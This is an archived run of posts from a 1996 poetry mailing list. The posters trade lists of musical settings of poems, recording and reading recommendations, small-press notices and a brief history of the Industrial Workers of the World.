He was a sight to behold at that reading. I remember how he had helpers hand out ribbons to everyone in the audience, which we were to wave around at the appropriate cue from Paul. Everyone in the audience, from the neo-beats to the experimental poets to the little kids, waved right on cue with no embarrassment. I'd never seen him before, so I didn't have any way of comparing, but I did think he looked pretty frail. But I'll never forget his performance that day.

Steve

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398. **Eryque Gleason**
Re: No Subject
Mon 29 Jan 1996

> *How about Bernadette Mayer? Has she published anything new recently?*

A month or so ago _The Desire of Mothers to Please Others in Letters_ came out, i think on Hardpress? There was an excerpt on the Hardpress/Lingo web page that I enjoyed a lot, although I think that they've recently remodeled, not sure what's there now. http://hardpress.com

Eryque

↑ Index

399. **Joseph Zitt**
Re: Music and poetry
Mon 29 Jan 1996

A few more that come to mind:

Carla Bley's setting of Paul Haines's "Escalator Over the Hill". THere was also a double-disc recently (a Kip Hanrahan project?) of lots of other Haines settings.

Terry Riley set some Kerouac for chorus.

Dominic Muldowney (I think) did a version of Brecht's "Baal" that David Bowie recorded.

On another note: Like others here, I strongly disliked Reich's "The Desert Music". I dislike most choral music anyway -- it seems to me that if one is setting a text because one likes either the sound or the meaning or the sound of the words, the words should be intelligible. Most choirs turn text into mud, and the composer has to deal with this. This happened with "The Desert Music", and was frustrating. OTOH, this has happened with most of the Reich that I've heard performed by conventional ensembles (orchestras, string quartets, etc).

But I *love* the recording of his "The Cave" that just came out, perhaps because it didn't sound like the music was battling the words. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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400. **cris cheek**
Re: Newt Hamsun
Mon 29 Jan 1996

Surely no relation to Nuke?

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401. **Philip Hammond**
Re: music & poetry
Mon 29 Jan 1996

On Mon, 29 Jan 1996, R I Caddel wrote:
(edit)
> is all this listing any help to the bloke who originally asked the question?
>

I am said bloke, and yes, the various contributions have been a great help. I'm particularly interested in hunting down the recordings by Lacy and Jarman. CD's on Black Saint/hat Art/etc., however, seem pretty hard to come by...

Another example I've remembered is The Dog Faced Hermans' song "Love is the Heart of Everything" (Mayakovsky) on their live CD. WHich reminds me: I'm writing a thesis on Vladimir Mayakovsky and would love to hear from any devotees of his work (directly to my email address so as not to clutter the already busy discussion list). I'm particularly interested in comparing his poems written in Russia with those written in Paris and America.

Thanks again,

Phil Hammond - [redacted]

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402. Marisa Januzzi
movies/hunger/rockets (i.e., kerouac),,,and Sundance
Mon 29 Jan 1996

This is Ted Berrigan speaking, to Kevin Killian I think, from his review of LUNCH POEMS in KULCHUR (spring 65)(season I first made the infancy scene). Berrigan speculates what would happen if he could lean into a TV camera and "say intensely, 'If you people really want to know what it's all about, read Frank O'Hara, that's right, FRANK O'HARA.'" Among other immediate responses would be "Joe Levine's new movie 'LIFE ON EARTH,' the biography of Frank OHara: ...starring James Cagney as Frank (an interesting technical problem to be solved here), and Gig Young as John Ashbery, Rod Steiger as James Schuyler, Fred MacMurray as Kenneth Koch, with Eve Arden as Jane Freilicher. What excitement!" ----------

I suppose "life on earth" (as Seasons on Earth) implies life elsewhere... hence segue to Kerouac's deployment of the 'space-race' trope (in "The First Word: JK Takes a Fresh Look at JK"):

"...spontaneous, or ad lib, artistic writing imitates as best it can the flow of the mind as it moves in its space-time continuum, in this sense it may really be called Space Age Prose someday because when astronauts are flowing through space and time they too have no chance to stop and reconsider and go back. It may be they won't be reading anything else but spontaneous writing when they do get out there, the science of the language to fit their science of movement." ----------

Thanks Maria re: Hamsun: just to square the circle, I read about Hamsun's HUNGER book in these essays by Kerouac.

So now y'all know what I'm reading, except add:
1) POLITICS & POETIC FORM
2) all the PARIS REVIEW interviews from the 50's and 60's in a stupid underbed xerox heap
3) COLLECTED WILLIAMS (teaching parts of it Thursday) and
4) The SCUM Manifesto by Valerie Solanas-- 'cause the documentary on her at Sundance ("I Shot Andy Warhol") was so great... Lili Taylor is miraculous. Donovan plays the part of Gerard Malanga, which is amusing.
5) the TALISMAN interviews (interesting paired w/1&2)
6) Julien Levy's SURREALISM (reprinted: Loy was Paris representative for her son-in-law's gallery &thus brought Surrealism overseas in a material way) and finally
7) a new Fluxus book (Thames/Hudson). Dumb book, but great pics of Dick Higgins, one of which I happily put up in my office at the English Dept. (hardly knew you, DH!)

All the best/s everyone--
Marisa

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403. **Chris Stroffolino**
Re: Music and poetry
Mon 29 Jan 1996

Yeah Alaan--THE FUGS (we should not forget their great version of THE TEN COMMANDMENTS), but I must say that the comeback 80's stuff mostly dissapoints me--Tuli's still funny, but sanders seemed to turn sanctimonious in soulless ways ("what would tom paine do" etc) despite (or because of?) his compensatory talking tie and steve taylor's (i almost wrote evan's) beautiful voice.....cs

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404. **Kevin Killian**
Re: movies/hunger/rockets (i.e., kerouac),,,and Sundance
Mon 29 Jan 1996

At 5:28 PM 1/29/96, Marisa Januzzi wrote:

> *4) The SCUM Manifesto by Valerie Solanas-- 'cause the documentary on her at Sundance ("I Shot Andy Warhol") was so great... Lili Taylor is miraculous. Donovan plays the part of Gerard Malanga, which is amusing.*

Marisa,

I'm so jealous of you for having seen this movie! A couple of years ago in Seattle KK and I went out for a drink with the writer/director, Mary Harron--when she was still researching Solanas' life. Needless to say, she kept us captivated with tales.

Yours,
Dodie

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405. jeffrey timmons
Political Incompetency
Mon 29 Jan 1996

Candidate Declared Politically Incompetent

Today, for instance,
Mr. Forbes did not have a direct answer
when a voter here asked
him if he would preserve
the Head Start program. He said that
"we have to get away from all the hype of these programs"
and went on to say that some
entitlement programs
"actually do more harm than good."

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406. David Carl
music and poetry
Mon 29 Jan 1996

I was away for a long weekend and came back to find nearly 100 messages from this group, so if I'm repeating information indulge me:

Debussy's piece based on Mallarme's L'apres-midi d'un faune James Tenney's rendition of Stevens' 13 ways of looking at a blackbird

and where do we put the entire body of Robert Ashley's work?

David Carl
[redacted]

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407. **Kenneth Goldsmith**

A Gang of Modernists

Mon 29 Jan 1996

Kenny G kicking in his 2 cents with a gang of modernists:

Mel Powell "Haiku Settings" (1959) 11 texts by 9 ancient poets
Luciano Berio "Thema (Omaggio a Joyce) texts from "Ulysses" 1958
Ilhan Mimaroglu "Six Preludes for Magnetic Tape" 1966-67 poem by Orhan Veli Kanik
Luciano Berio "Sinfonia" texts by Claude Levi-Strauss, Samuel Beckett, James Joyce
Luciano Berio "El Mar la mar" text by Rafael Alberti
Pierre Boulez "Le Marteau Sans Maitre" poems by Rene Char
Pierre Boulez "Improvisation No. 2 'Une dentelle s'abolit'" Mallarme
Arnold Schoenberg "Pierrot Lunaire" 21 poems by Albert Giraud
Edgard Varese "Offrandes" poems by Vincente Huidobro and Jose Juan Tablada
Kurt Weill and Bertolt Brecht
Hans Eisler and Bertolt Brecht
Claude Debussy "Trois Poemes de Stephane Mallarme" (1913)
Claude Debussy "Sept Poemes de Banville" (1882) Theodore Banville
Arthur Honegger "Les Cloches" Apollinaire
Darius Milhaud "Fumee" "Fete de Bordeux" "Fete de Montmartre" poems by Jean Cocteau
Gabriel Faure and Paul Verlaine
Claude Debussy and Paul Verlaine
Anton Webern "Three Songs for Voice & Piano on Poems by Hildegard Jone"
George Crumb "Night Music 1" 1963 Federico Garcia Lorca
George Crumb "Madrigals" 1965-9 Federico Garcia Lorca
George Crumb "Songs, Drones, and Refrains of Death" 1968 Federico Garcia Lorca
George Crumb "Night of the Four Moons" 1969 Lorca
George Crumb "Ancient Voices of Children" 1970 Federico Garcia Lorca

and that's just the beginning...

==========
==========

Kenneth Goldsmith http://wfmu.org/~kennyg
[redacted]
v. [redacted]

↑ Index

408. **Herb Levy**
Re: H. Chopin
Tue 30 Jan 1996

Loss -

I don't know if this is what you've heard about, but I've seen (& not heard) a recent CD by Henri Chopin at Wall of Sound here in Seattle.

I can find out more about it if someone's interested.

Bests

Herb

> *Could anyone let me know--I was sure I'd read somewhere recently about a special H. Chopin issue of a magazine (?--perhaps this is a new collection in a book??). I can't seem to remember where I read this but I thought someone might be able to tell me. Thanks!*

Herb Levy
[redacted]

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409. **Herb Levy**
Re: Music and poetry
Tue 30 Jan 1996

Here's (lots) more music & poetry:

Some of Pauline Oliveros's early works were settings of Charles Olson pieces and Janice Giteck set several of Louis Zukofsky poems early on. (& don't forget Celia Zukofsky's own settings of LZ in "Autobiography.")

Joan La Barbara's great collaboration with Kenny Goldsmith, 73 Poems.

Many Amiri Baraka (& a few Leroi Jones) performances & recordings with musicians like David Murray, Arthur Blythe, Archie Shepp & John Tchicai.

Alvin Curran's ongoing collaborations (since high school) with Clark Coolidge.

Morton Feldman's gorgeous hour-long piece, 3 Voices, based on two and a half lines by Frank O'Hara, & Feldman's opera Neither based on a page-long text written specifically for the project by Samuel Beckett.

Lee Hyla's setting of Howl for the Kronos Quartet & Ginsberg (I'm not sure if this has premiered yet).

And don't forget Robert Ashley's operas which are all great with very good funny texts by the composer.

& Peter Kotik's settings of texts by Gertrude Stein and Buckminster Fuller.

Paul Epstein's set of songs on Toby Olson poems.

The very different versions of Tom Phillips Irma (drawn from his Humument) by Gavin Bryars & the group AMM.

Eliane Radigue's settings of poems by Milarepa.

As long as people are digging back for esoteric rock settings of poetry, Insect Trust did a song with words from Thomas Pynchon's V (Eyes of a New York Woman).

& one of the CDs I'm producing for fall 96 release documents songs for voice & piano commissioned from eleven American composers. Each composer picked their own source & the texts vary widely including: Susan Stenger (flutist who often worked with Cage, Kotik, Mac Low, & Niblock, now better known, perhaps, as the bassist of Band of Susans) setting Mac Low's Traitorous Heart; Maggi Payne's first non-electronic works in years, settings of two Gary Snyder poems; John Luther Adams set a couple of Inuit texts; Thomas Peterson set Cannon Beach by Nelson Bentley; Peter Garland wrote music for a Chinese drinking song translated by Arthur Sze, etc. I guess I don't have the whole list with me, besides it's too early for the hard sell. For now, just note that this (the book of scores that will eventually be published) is likely to be the only collection to contain both Jackson Mac Low & Nelson Bentley.

To close on a more self-deprecatory revelation, the last band-like aggregation I was in was going to be called Roast Potatoes 4. I'm happy to say that I am saved from considerable embarrassment 'cause the rehearsal process killed the band before we ever played out.

Herb Levy
[redacted]

↑ Index

410. **Wendy Battin**
Re: moon messages
Tue 30 Jan 1996

---

cris cheek wrote:
> more moon stuff
? anybody.

I just ran across recently what the _2nd_ man on the moon said when he set foot. Just after Neil Armstrong w/ his labored "Small step...", Buzz Aldrin came down the ladder & said "Beautiful. Beautiful desolation."

Wendy

↑ Index

411. Stephen Galen Cope
Jarman, Black Saint, etc...
Tue 30 Jan 1996

I don't know whether the Jarman recording referred to is still available, but Black Saint (and sister label Soul Note) are both available via Sphere in NYC. The address:

Sphere Marketing and Distribution
JFK Airport Building 80-Room 2A
Jamaica, New York 11430
Ph: [redacted] Fax: [redacted]

The catalog is immense and they still carry a number of titles on vinyl (both those already released on cd and those not yet or never to be released on cd) for $4.00 each (last time I checked). Hat Art stuff can be ordered through either Tower or Cadence...

Incidently, Jarman has recorded his own poem "Non-Cognitive Aspects of the City," which can be found on 'Song For' (Delmark- 1991, CD). Not the best cut on the disc but certainly worth a listen...

-Stephen Cope

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412. James Perez
Re: moon messages
Tue 30 Jan 1996

---

a little bit of interesting trivia I heard somewhere sometime (and I don't even know if it's true)

"A small step for man, ..."
was actually said

"A small step for _a_ man, ..." but radio transmission wasn't so clean back in the day and the "a" was lost (voice activated mikes, and speaker phones for that matter, tend to lose short words), very different in spirit, and at least a little interesting.

James Perez

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413. Michael Boughn
help
Tue 30 Jan 1996

I've misplaced Norma Cole's Montreal s-mail address. If someone out there has it, would you please send it to me?

Thanks,
Mike
[redacted]

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414. Nancy D.
music and poetry
Tue 30 Jan 1996

Chris Strof--I beg to differ re: Sanders' 80s revival of Fugs--far from disappointing, the 80s Sanders has been, for me, like a breath of fresh heaven. I recommend very much The Fugs "No More Slavery" album.

Hey, in general, not enough women mentioned in all this musical extravaganza--

Like Julie Kabat's musical renditions of H.D. Kabat is a wonderful performance artist who plays glass harmonica, sings, and collaborates with computer sounds--Hear her "Child and the Moon-Tree" on CDCM Computer Music Series, V. 7 put out by Centaur records.

Or how about the sweet sounds of Lee Ann Brown and Nancy Dunlop singing Emily Dickinson and William Blake respectively on the Little Mag CD-ROM.

Or for sheer evocation if not verbiage--Marilyn Crispell

Anne Waldman's perf-pieces, i.e., "Uh-Oh Plutonium"

Katie Yates' "Is it Happening"

H.D.'s poetry has been set to music by composers Thomas Eastwood and Jonathan Elkus--the scores are available, but I don't know about any recordings.

Any other ladies? TY --Nancy Dunlop

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415. David Golumbia
Re: music & poetry
Tue 30 Jan 1996

Nearly everything jazz-wise and pop-wise recently mentioned here (including the Joseph Jarman CD, the Steve Lacy CDs, & even the Mercury Rev CD5 (I think)) is available at CDNow -- http://www.cdnow.com/.

I've never tried their service, but I've heard it is pretty reliable, and the prices aren't bad.

--
[redacted]
David Golumbia

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416. Michael Davidson
Re: m. rukeyser
Tue 30 Jan 1996

Louis...I think the biggest collections are the Lilly at Indiana and the Library of Congress and, the most extensive, the Berg Collection at the New York Public. On the latter contact Rodney Phillips, [redacted]. If you ever run into the MS for "The Book of the Dead" let me know--I've not been able to find it.

best,

Michael Davidson

At 06:21 PM 1/28/96 MST, you wrote:
>... can anyone tell me what library holds most muriel rukeyser
>materials? thanks, louis
>
>
Michael Davidson

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417. Michael Davidson
Re: Gustaf Sobin
Tue 30 Jan 1996

Gustaf is reading at UC Berkeley tonight, Tuesday. I don't know where, but assume it's the Maude Fife and Drum Room. And he's at Beyond Baroque on Thursday in LA. At UCSD (San Diego) Wednesday at 4:30.

MD

At 12:13 PM 1/29/96 -0800, you wrote:
>Anybody out there know if Gustaf Sobin's still got appearances scheduled in
>Berkeley and Stanford, or the S.F. area in general? I haven't seen any
>announcements anyplace, although _Poetry Flash_ mentions a reading at Beyond
>Baroque in Venice February 2nd.
>
>Steve
>
>
Michael Davidson

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418. Daniel Bouchard
Re: music & poetry
Tue 30 Jan 1996

I didn't see two of my favorite examples listed as I scrolled thru the posts with a "music and poetry" Subject so I thought I'd mention them. One is Langston Hughes' "The Weary Blues" reissued on cd by Verve, and the other is Kenneth Rexroth's "A Sword in a Cloud of Light" available from Watershed Tapes. Also, the Smithsonian released a compilation of readings by Sterling Brown where he is accompanied by music on at least one poem. Very nice listening.

[redacted]

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419. FUNKHOUSER CHRISTOPH
(no subject)
Tue 30 Jan 1996

dear poetics, as always, digging discussion and referencing of sound and word combinations (recombinations). (since i began formally playing music the same year as writing my first poem -- a 4th grade (1975) spoof on "God Bless America" called "God Damned America" -- the 2 have always been closely linked in my mind and fingers). They are! didn't we have some talk on a similar topic last year? maybe we can put up an FAQ, or EPC site related to the subject? Firstly, I wanted to recommend the new AUTONOMEDIA title, _Sounding Off! Music as Subversion/Resistance/Revolution_, edited by R. Sakolsky & Fred Wei- Han Ho. It's a great collection, complete w/compact disc. Essays by Hakim Bey, Liz Was, Chris Cutler, Negativland, and many others. Lyrical writing by a powerful poet named Kalamu ya Salaam; also, Benjamin Zephanian, Jean Binta Breeze, Darryl Cherney, and Tuli Kupferberg. Well worth

the 15 bucks... A disorganized mess of names/projects I've been jotting down the past day or so, & hopefully without repeating too much, here goes a listing of a few sound/work projects I remember tuning into over the past few years:

-Francisco Alarcon & the Santa Cruz Rhythmagics: work may be found on We Magazine Issue 14 cd, as well as this interesting cassette release AMERICA FEARS THE DRUM/Rebel Poets II, which also features poets Boadiba, Kalamu Ya Salaam, Gina Pacaldo, Genny Lim, q.r. hand, Daniel Higgins, Elizabeth McKim, Devorah Major & Opal Palmer Adisa, Alfonso Texidor, Etheridge Knight, Vernon Edgar, Jorge Argueta, Benjamin Zephanian, Nilak Butler, Tede Matthews, peter plate, Jack Hirschman & the Crack Emcee (mostly accompanied by music of one form or another). I understand Alarcon's group is going to release its 1st solo album soon. -Lee Ann Brown's settings of Emily Dickinson's poetry (available on bootleg tapes, The Little Magazine cd-rom, & We Magazine XV (cassette). -Michael Franti's work with the Beatnigs & Disposable Heroes of Hiphoprisy. (Where is the cultural studies essay comparing Vachel Lindsay & Franti?) -Jerome Rothenberg's collaborations with Bertram Turetsky. (Jerry: are these available anywhere?) -Sun Ra was one of the most prodigious poet/musicians of the century, with several hundred poems (many collected in the evolving collection THE IMMEASURABLE EQUATION), as well as some 250 recordings with & without the Arkestra. I have a wicked tape of the Arkestra accompanying LeRoi Jones' dramatic work A BLACK MASS. Also, recording of David Henderson accompanied the Arkestra with his poem "Love In Outerspace" (see HAMBONE 12). -Langston Hughes recorded parts of WEARY BLUES w/Mingus. It's out on cd now. I believe Hirschman performed with Mingus as well. -Has anyone mentioned John Cage's ROARATORIO by name? Wow. I also seem to remember reading about Creeley/Cage collaborations in Henry Sayre's informative book THE OBJECT OF PERFORMANCE. -Captain Beefheart's TROUT MASK REPLICA (proto language poetry?) -recordings in the 70s & 80s by Chuck Stein & George Quasha, Bob Cobbing, Coaccidents, Four Horsemen. -Michael Smith, Jamaican dub poet, brutally murdered, had an album out on Island records MI CYANN BELIEVE IT (also, with the group Light of Saba a record called WORD SOUND released in the caribbean). -William S. Burroughs / Kurt Cobain -Theresa Clark & Carletta Wilson, IN HERE BY TURNS, Thunderhoney Productions, late '80s. -Poetry In Motion video/cd-rom -Ginsberg's records HYDROGEN JUKEBOX (with Phillip Glass, has a beautiful tuning of Wichita Vortex Sutra), THE LION FOR REAL (made with many of NYC's hippest hipsters), & a record he did a ways back, tuning Blake, SONGS OF INNOCENCE & EXPERIENCE, with Don Cherry, Peter Orlovsky, David Amran, Steven Taylor), & FIRST BLUES. The Rhino 4 cd-set HOLY SOUL JELLY ROLL chronicles collaborations w/Elvin Jones, Dylan, e t c . -Ira

Cohen has a cd out on SubRosa, mixing samples from Don Cherry & other sound sources as sonic backdrop. At SFSU you could find a tape of Don Cherry improvisationally accompanying Nate Mackey as well. -I've always thought of Bob Marley's work to be amongst the most successful poetry of the 20th century in that he was able to engage lyric/language, pulse/rhythm, spirit, life, all of it, in a way which brought vastly disparate groups of people together in various settings around the globe. His transcription of a Haile Sellasie speech into the song "War" is an effective example of how it can be done, directly & with political agenda (if only someone could do the same for, say, "The Artifice of Absorption" we might be on our way to the dawning of a new era!). -Aren't Charles Bernstein's collaborations with Ben Yarmolinsky technically considered Librettos? Charles? Yarmolinksky's setting of a Ray DiPalma poem appears on the little magazine cd-rom. -Victor Hernandez Cruz has recorded at least one, or two, hot albums with the percussionist Ray Baretto. -South African horn player Johnny Dyani often works in language and chanting into his work with potent effect. Check out WITCHDOCTOR'S SON. -Archie Shepp, Cecil Taylor (especially DOUBLE HOLY HOUSE and CHINAMPAS; Cecil discusses his relationship with poetry in an interview in HAMBONE 12), as well as Don Cherry, Coltrane, Art Ensemble of Chicago are amongst the jazz crowd of poet/musicians. -Ann Magnuson, The Tinklers, Jim Carroll. The a capella thrash quintet Bloodtest I believe has a piece titled "Mina Loy". -Anne Waldman with dozens of accompanists on various tapes and cds. In general, the poetics spirit at Naropa Institute promotes interdisciplinary collaborations. Singing. -Jimi Hendrix BLUES album, where he covers Muddy Waters, Booker T. Jones, others. -Joanne Kyger/Arthur Okamura collaboration can be heard on We Magazine Issue 10 (cassette). -Ed Sanders has tuned quite a bit, if not all, of MAXIMUS. -A tape of Garcia Lorca playing piano for the spanish vocalist La Argentinita (from COLLECTION DE CANTARES POPULARES ESPANOLAS). -Katie Yates' work with thelemonade. thelemonade also set writing by Yeats, H.D. Moe, Eric Curkendall, Francisco Alarcon, Andy Clausen, Richard Loranger, and Tory Miller to music. -the Monks of Doom composed a mini-rock opera around Edward Gorey's "The Insect God" (C/Z records).

Ed Gorey has been selected as

Imaginary Universe WWW Poet of Week,

30 January 1996. To check out details:

http://cnsvax.albany.edu/~cf2785

Yep, there's still
much more, but
Enough for now...

apologies for any
redundancies

-chris f

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420. **Aldon L. Nielsen**
Re: HELP!
Tue 30 Jan 1996

I am trying to locate people who had contact with poet Harold Carrington, or with his work, before he died in '64 -- Does anyone have current address and/or phone number for the following folk?

Ray Bremser
Diane Di Prima

and probably in the UK, Paul Breman

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421. **AARON SHURIN**
la musique
Tue 30 Jan 1996

Don't forget or miss Reynaldo Hahn's settings of, particularly, Verlaine. They make Verlaine appear to be a greater poet than we may have thought he was. Compare, for ex, Faure and Hahn's settings of the same poem, "L'heure Exquise." Hahn is alive to the text. He's knows how to listen to the words - which ability to listen shouldn't be a surprise, since he was Proust's boyfriend!

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422. **Aldon L. Nielsen**
Re: Jarman & more
Tue 30 Jan 1996

Charles Smith -- thanks for the info. -- I'll check catalogue at my local Tower before troubling you for tape -- I assume you've heard his earlier "NonCognitive Aspects of the City" ?

EVERYBODY --

This week's mail brings the new HAMBONE, which is even better than usual -- Includes Funkhouser's interview with Cecil Taylor (which I wish I'd had when I was writing about Taylor's poetry), great stuff by Fred D'Aguiar & Geoffrey Jacques, new poem by Fanny Howe, I see our own Mr. Naylor is here, more new

stuff by Ed Roberson and Ray DiPalma, review of the selected Jonas by Brent Edwards, and much more -- get it quick --

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423. Henry Gould
call for ms. (Nedge)
Tue 30 Jan 1996

Nedge publishes poetry, reviews, essays, fiction, & etc. Comes out irregularly, around twice a year; circulation 200-300. Nedge #3 just published. Former Northeast Journal, a mainstream regional litmag, moving slowly backwards and sideways at wider range of writing. Response time 1-2 mos.

Nedge, PO Box 2321, Providence, RI 02906

For more info, email me at [redacted].

--Henry Gould, co-editor (w/Janet Sullivan)

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424. Charles Smith
books
Tue 30 Jan 1996

Small Press Distribution inadvertently left out the following titles from their most recent catalogue:

A Canto for the Birds, Julia Connor (Tule Press, 1995) ISBN 0-914-48514-8, $8.00

Circulations, Charles Smith (Vernacular Editions, 1995) ISBN 0-961854-2-7, $4.00

Both are available from SPD, or direct from Vernacular Editions, 5960 S. Land Park Dr. #331, Sacramento, Ca 95822.

Also available only from Vernacular is a letterpress broadside printed on Lana Gravure by Connor, "Bloom" for $5.00.

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425. Charles Smith
Re: Music and poetry
Tue 30 Jan 1996

In a message dated 96-01-30 01:20:23 EST, you write:

> *On another note: Like others here, I strongly disliked Reich's "The*

> *Desert Music". I dislike most choral music anyway -- it seems to me that if one is setting a text because one likes either the sound or the meaning or the sound of the words, the words should be intelligible. Most choirs turn text into mud, and the composer has to deal with this. This happened with "The Desert Music", and was frustrating. OTOH, this has happened with most of the Reich that I've heard performed by conventional ensembles (orchestras, string quartets, etc).*

I thought Reich's operatic version of Cocteau's "Beauty & the Beast" was terrific, hardly "muddied" & I've never been a big fan fan of his. I'm curious what the cd sounds like...?

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426. **Charles Smith**
Re: Music and poetry
Tue 30 Jan 1996

---

hmmm... Herb's last post reminded me of a piece I heard last year at Uc Davis by Ingram Marshall that uses text by Gary Snyder, Lew Welch & John Muir. I don't believe it's been recorded yet. Paul Hillier was the vocalist & anyone interested in text/ music stuff should keep tabs on Hillier's Theater Of Voices project(s).

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427. **Charles Smith**
Re: Jarman & more
Tue 30 Jan 1996

In a message dated 96-01-30 13:17:39 EST, you write:

> *I assume you've heard his earlier*
> *"NonCognitive Aspects of the City" ?*

Are you referring to an LP I've never seen or heard of by that name, or the piece on "Song For" from Delamrk which, yes, I do have. But then one can't have EVERY thing!

cs

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428. Chris Stroffolino
Re: Music and poetry
Tue 30 Jan 1996

Hey, everybody, today's the day IMMORTALIZED in
Dylan's CLOTHES LINE SAGA---
He picked the perfect drab dingy day to evoke the hibbing of his
youth.....cs

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429. Charles Smith
Re: Gustaf Sobin
Tue 30 Jan 1996

Steve,

Sobin is reading at UC Berkeley's Maude Fife Room tonight, Tuesday 1/30 at 8 pm & will be introduced by Michael Palmer. Still trying to decide if I want to make the trip.

He gave a great reading at Stanford last Thursday. Read for a good hour from both _Breath's Burials_ & _Voyaging Portraits_.

It's a shame someone of his stature can come to the Bay Area & not have more readings thru the established channels outside of academia... & that, as you mentioned, the ones he DOES have aren't even publicized.

Charles

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430. David Carl
Re: Music and poetry
Tue 30 Jan 1996

>I thought Reich's operatic version of Cocteau's "Beauty & the Beast" was
>terrific, hardly "muddied" & I've never been a big fan fan of his. I'm
>curious what the cd sounds like...?
>
Wasn't it Philip Glass that did "Beauty and the Beast" or is there a
version out there that I'm not aware of?

David Carl
[redacted]

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431. Maria Damon
Re: No Subject
Tue 30 Jan 1996

thanks cris funkenmaster, for your soulful lists of real music and real poetry. WORD SOUND HAVE POWER ALWAYS! have an I-ree groundhog day, y'all--maria d

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432. Bob Holman
Re: United States of Poetry
Tue 30 Jan 1996

The 5-part TV series I produced for PBS begins broadcasts on Feb 1 on Channel 13 in NYC, will be weekly thereafter through Feb, 10:30 PM. Other cities: LA daily Feb 12-15 @ 10pm, then all 5 on Feb 17, 9pm. (2 1/2 hrs straight poetry, as if po could ever be!)

Philly & SF will also "stack" (all five shows in a row) on Leap Year Day.

Buffalo: WNEQ shows an hour on Feb 14 at 9, then begins weekly on Feb, 28 at 9:30.

Backchannel me or call yr PBS affiliate (I'd appreciate that! Calls mean a lot) for other cities. This is called a "soft feed" -- PBS was unwiling to support the series a la Moyers (well -- we couldn't get Moyers!) (actually -- we couldn't get ANYone, to host, that is. In USOP the poems do the talking...well, you'll see)

Some highlights: Show 1: Lois-Ann Yamanaka, Jeff Tagami, Sparrow, Rita Dove, Lord Buckley
2-Pedro Pietri, Thylias Moss, Paul Beatty, Dennis Cooper, Derek Walcott
3-Amiri Baraka, John Wright, Wanda Coleman
4-Lou Reed, Quincy Troupe, Joseph Brodsky (sadly prophetic, amazing actually), Sandra Cisneros
5-Creeley, Ginsberg, Eigner, Michael Franti, Michelle Clinton

If you're desperate, or have only one screen in yr house, check out www wordslam.hugo.com in the Gallery. They also have some Jenny Holzer up there (she designed words for show 5; Barbara Kruger did show 3).

Boom Poetic is the perf troupe of the Vibe Chameleon Collective. They were recently in Europe, and their Human Beat Box, the etheral Rahmel, has a record deal with somebody. Lead rapper ShaKey had a great CD on Imago, but when they folded up it got lost. The whole group is cenetered around a great character named Walter Meade -- in SMOKE he is the thief who ain't at home when Harvey Keitel goes visiting on Xmas.

Bob H

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433. **Charles Smith**
Re: Music and poetry
Wed 31 Jan 1996

In a message dated 96-01-30 20:41:46 EST, you write:

> *Wasn't it Philip Glass that did "Beauty and the Beast" or is there a version out there that I'm not aware of?*
>
> *David Carl*
> [redacted]

you're quite right! oops!

neither of them are exactly on my favorites list...

↑ Index

434. **Bob Perelman**
ask your mama
Wed 31 Jan 1996

I saw the tail end of what turned out to be *Ask Your Mama* on tv years back. Langston H I presume was reading and the instrumentation that he marks down the right and left columns (as I remember) was realized as the soundtrack. I can't remember the visuals--drawings? animation?? Anyway, has anyone seen this & where is it available?

Bob Perelman

↑ Index

435. **Matthew Gary Kirschenbaum**
neuromantic poetry
Wed 31 Jan 1996

So I swear this really happened.

I was reading the introduction to the Norton Anthology of Postmodern Poetry, page xxvi:

"Frank O'Hara's injunction, 'You just go on your nerve,' called
for an improvisatory poetics of the everyday that was
essentially neoromantic."

Except I misread "neuromantic" which had just gotten on my nerves.

What would a neuromantic poetry look/feel like?

--Matt (who's posting to this list for the first time and
thinking about Victorian sensation novels at least as much as
Gibson)

========== Matthew G. Kirschenbaum University
of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

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436. **Eryque Gleason**
Re: Tangle Blue
Wed 31 Jan 1996

Charles Smith just informed me that the Trinity Alps are in northern Calif. which, makes a lot of since now, having read the chapbook. Unfortunately, it means I have no idea how to get a copy, there's no other information listed, so maybe anyone that's interested should try to contact Ms. Reed herself.

Like i said, it's a beautiful little book, on the cover is an isoscles (however yo spell that, the moon's too far down towards the horizon for me to worry about it much) triangle cut from a geographical map. You can follow the isogonic lines around, recognize a small valley that a creek runs through at about 5000 feet.

Eryque

↑ Index

437. **Ron Silliman**
Rakosi/Shere collab
Wed 31 Jan 1996

>did someone recently send something about Rakosi's
>"Old Poet's Tale"? If so, could it please be repeated; I'm afraid I
was
>a bit too quick on the delete key. Sorry.
>
>Burt Kimmelman
>

It was I. I wrote that Charles Shere was composing a setting for it, an example of poetry and music, working with Rakosi in a collaborative manner. If I recall what Shere said about the project, it was Carl who first suggested the project. (I was on a panel with Carl at Stanford last year, to celebrate the opening of the Ginsberg archives there, and I must say I sure hope I have half the mental clarity and agility at 93 that he has--he's amazing!)

Ron Silliman
[redacted]

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438. **manuel brito**
call for ms. (Nedge)
Wed 31 Jan 1996

---

dear henry gould:
i've seen your message thru the poetics list. i am editing books by American poets (zasterle press) and i'm wondering if you are interested in exchanging _nedge_ with the books published here. i could send some copies. my e-addres is: [redacted]
thank you.
best,
manuel brito

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439. **manuel brito**
Re: United States of Poetry
Wed 31 Jan 1996

---

dear bob h:
i've seen your message thru the poetics list and i would like to know if i can buy some videotape of the performances you mention there. since i live in the canary islands it's impossible to catch the pbs waves. would you send information to [redacted]
thank you for your kindness

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440. Daniel Bouchard

"*America, I'm sentimental about the Wobblies*"

Wed 31 Jan 1996

In a post a few weeks back after I asked Dick Higgins why he believed unemployment would soon approach the incredible number of 40% I ended by asking all Poetics list members if the Wobblies (nickname of the Industrial Workers of the World, or the I.W.W.) had been active or heard from in their area. A few people sent separate e-mails giving information or asking what Wobblies were. I'm not sentimental about the Wobblies, but I am excited about them. This post is a follow up to my question.

The I.W.W. was an industrial union founded in 1905 with the goal of abolishing the wage system. Bill Haywood, Mother Jones, and Eugene Debs were among the founders. One of the union's premises was (and is) that the "working class and the employing class have nothing in common."

The I.W.W. thrived for a period and won great strikes- the Lawrence Strike of 1912, Paterson in 1913 and various battles for free speech across the country. They also promoted the equality of race and gender within the union. But, as Elizabeth Gurley Flynn remarked in her memoirs, the Wobblies were not as adept at leaving stable union structures behind in the wake of their agitating and organizing.

